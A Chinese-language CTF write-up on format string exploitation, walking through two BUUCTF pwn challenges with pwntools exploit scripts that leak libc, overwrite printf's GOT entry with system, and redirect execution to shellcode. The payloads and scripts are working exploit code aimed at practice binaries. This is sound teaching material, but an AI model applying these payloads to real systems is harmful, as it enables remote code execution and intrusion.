栈上:

我常用%s和%p来泄露libc基址和pie地址,用%hhn,%hn,%n来修改地址内容

例题:buuctf上的wdb_2018_2nd_easyfmt

看下ida:

avatar

主函数很简单,在printf处有格式化字符串漏洞,可以重复利用,此题没有后门函数,buf在栈上。

思路:

1.利用格式化字符串漏洞泄露libc,求出system地址,并算出偏移。

2.将printf_got地址内容改成system地址,再次调用时输入bin/sh\x00(将buf赋值成bin/sh\x00),执行printf时便提权了。

重要步骤:

1.格式化字符串泄露libc:
1
payload1=p32(printf_got)+"%6$s"
2.格式化字符串改地址内容:
方法一:

将printf_got高低地址分开改值

1
2
3
4
sys_high = (sys >> 16) & 0xff
sys_low = sys & 0xffff
payload = '%'+str(sys_high)+'c%13$hhn'+'%'+str(sys_low-sys_high)+'c%14$hn'
payload = payload.ljust(28,'a')+p32(printf_got+2)+p32(printf_got)
方法二:

使用fmtstr_payload工具

偏移为6.

1
payload = fmtstr_payload(6,{printf_got: sys})

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*

#p=remote('node4.buuoj.cn',27754)
p=process('./wdb_2018_2nd_easyfmt')
elf=ELF('./wdb_2018_2nd_easyfmt')
printf_got=elf.got['printf']
print hex(printf_got)

payload1=p32(printf_got)+"%6$s"
p.sendlineafter("repeater?\n",payload1)
#gdb.attach(p)

p.recv(4)
printf_addr=u32(p.recv(4))
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('./libc-2.23_32.so')
base=printf_addr-libc.sym['printf']
sys=base+libc.sym['system']
print hex(sys)

sys_high = (sys >> 16) & 0xff
sys_low = sys & 0xffff
#payload = fmtstr_payload(6,{printf_got: sys})
payload = '%'+str(sys_high)+'c%13$hhn'+'%'+str(sys_low-sys_high)+'c%14$hn'

payload = payload.ljust(28,'a')+p32(printf_got+2)+p32(printf_got)

p.sendline(payload)
sleep(0.2)
p.sendline("bin/sh\x00")

p.interactive()

非栈上:

例题:buuctf上的hitcontraining_playfmt

看下ida

avatar

avatar

avatar

buf在bss段上。

确定偏移并改地址:

这里我是按照自己的方法。

脚本输入%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,gdb定位到printf的下一行代码,如图:

avatar

我是运用ebp指针链

在看看输出,如下图:

avatar

这个地址的偏移为6,并且可以发现0xffdafd68指向的地址0xffdafd78偏移为10(补充:一般32位链表后一个地址偏移为前一个地址偏移加4,64位加8)

将0xffdafd68指向的地址0xffdafd78的最后一个字节改为3c(这个地址比较难找),再将0xffdafd5c指向地址后两个字节改成输入的在bss段上的shellcode的地址后两字节,程序退出时便会调用shellcode。爆破概率为1/16。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(log_level = 'debug',os = 'linux',arch = 'i386')
shellcode = asm(shellcraft.sh())

sh = process('./playfmt')
#sh = remote('node4.buuoj.cn', 29420)
tar = '%60c%6$hhn'
# 0x3c
sh.sendline(tar)
sleep(0.1)
tar = '%41069c%10$hn'+shellcode
# 0xa06d
gdb.attach(sh)
sh.sendline(tar)
sh.sendline('quit')
sh.interactive()